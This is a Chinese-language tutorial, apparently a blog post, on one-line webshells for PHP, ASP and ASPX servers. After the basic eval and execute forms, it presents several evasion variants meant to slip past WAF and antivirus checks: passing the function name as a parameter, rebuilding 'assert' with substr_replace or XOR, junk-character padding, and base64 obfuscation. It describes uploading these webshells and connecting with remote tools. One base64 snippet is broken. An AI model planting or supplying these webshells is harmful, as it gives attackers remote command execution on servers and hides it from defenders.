一句话及图片码
· 阅读需 7 分钟
一句话木马
就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形,但本质是不变的:木马的函数执行了我们发送的命令。
一句话木马基本形态
/*asp一句话木马*/
<%execute(request("value"))%>
/*php一句话木马*/
<?php@eval($_POST['123']);\?>
/*aspx一句话木马*/
<%@Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
一句话木马使用方式及变形绕过
一句话木马可以是单独的文件,通过文件上传发送到服务器,或者通过命令执行远程写入文件。也可以在服务器中的文件中写入一句话代码。随后可以使用菜刀等工具进行远程连接。
(双变量绕过)
<?php @eval($_POST['value']);\?>这个一句话木马中eval可以成为防御方过滤的目标,所以相对应的我们可以在代码中不出现eval关键字,改写成如下形式:
<?php $_GET['a']($_POST['b'])\?>这样同时传递两个变量,将eval作为参数传递进去。
(字符串变形绕过)
用substr_replace()函数变形assert达到免杀的效果
<?php
$a=substr_replace("assexx","rt",4);
$a($_POST['x']);
\?>
(定义函数绕过)
定义一个函数把关键词分割达到 bypass效果
<?php
function kdog($a){
$a($_POST['x']);
}
kdog(assert);
\?>
(特殊字符干扰绕过)
特殊字符干扰,要求是能干扰到杀软的正则判断,还要代码能执行,网上广为流传的连接符初代版本
<?php
$a=$_REQUEST['a'];
$b=null;
eval($b.$a);
\?>
- 或者例如下面:
<?php
$a=$_POST['a'];
$b="\n";
eval($b.=$a);
\?>
(PHP对字符串变形的函数)
ucwords()//函数把字符串中每个单词的首字符转换为大写。
ucfirst()//函数把字符串中的首字符转换为大写。
trim()//函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace()//函数把字符串的一部分替换为另一个字符串
substr()//函数返回字符串的一部分。
strtr()//函数转换字符串中特定的字符。
strtoupper()//函数把字符串转换为大写。
strtolower()//函数把字符串转换为小写。
strtok()//函数把字符串分割为更小的字符串
str_rot13()//函数对字符串执行ROT13编码。
(编码绕过)
用php的编码函数,或者用异或等等
简单的base64_decode,可以加入一些下划线干扰杀软
<?php
$a=base64_decode("YXNz+ZX___j___0");
$a=($_POST[x]);
\?>
异或
<?php
$a=("!"^"@").'ssert';
$a($_POST[x]);
\?>